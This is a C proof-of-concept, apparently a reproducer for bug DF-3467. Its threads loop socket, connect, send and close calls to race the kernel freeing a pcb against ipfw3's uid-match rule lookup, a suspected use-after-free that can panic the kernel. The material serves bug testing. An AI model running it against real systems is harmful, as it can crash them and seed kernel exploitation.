DF-3467 / raceuid.c
/* raceuid.c -- DF-3467 hammer: race in_pcbdetach() kfree(inp) against * ipfw3's check_uid (ip_fw3_match_guid) lookup+deref on the OUTPUT path. * Threads pinned to different CPUs; each does socket/connect/send/close * loops to 10.0.2.2:9 so packets traverse ether_output (ipfw3 runs in the * sender thread) while close frees the pcb (hash removal + deferred free). */ #include <sys/types.h> #include <sys/socket.h> #include <sys/sysctl.h> #include <netinet/in.h> #include <arpa/inet.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <pthread.h> #include <errno.h> #define NTH 6 #define NITER 200000 static volatile int stop = 0; /* DFly: no cpuset_setaffinity; rely on the LWKT scheduler spreading * the 6 busy threads across the 6 CPUs. */ static void pin(int cpu) { (void)cpu; } static void * worker(void *arg) { long id = (long)arg; struct sockaddr_in dst; int i, fd; char buf[64]; pin(id % 6); memset(&dst, 0, sizeof(dst)); dst.sin_family = AF_INET; dst.sin_port = htons(9); dst.sin_addr.s_addr = inet_addr("10.0.2.2"); for (i = 0; i < NITER && !stop; i++) { fd = socket(AF_INET, SOCK_DGRAM, 0); if (fd < 0) break; connect(fd, (struct sockaddr *)&dst, sizeof(dst)); send(fd, buf, sizeof(buf), 0); close(fd); } return (NULL); } int main(int argc, char **argv) { pthread_t th[NTH]; int i; int secs = argc > 1 ? atoi(argv[1]) : 60; printf("racing %d threads x %d iters each (uid match rule must be loaded)\n", NTH, NITER); for (i = 0; i < NTH; i++) pthread_create(&th[i], NULL, worker, (void *)(long)i); for (i = 0; i < NTH; i++) pthread_join(th[i], NULL); printf("RACEUID-DONE no panic\n"); return (0); } |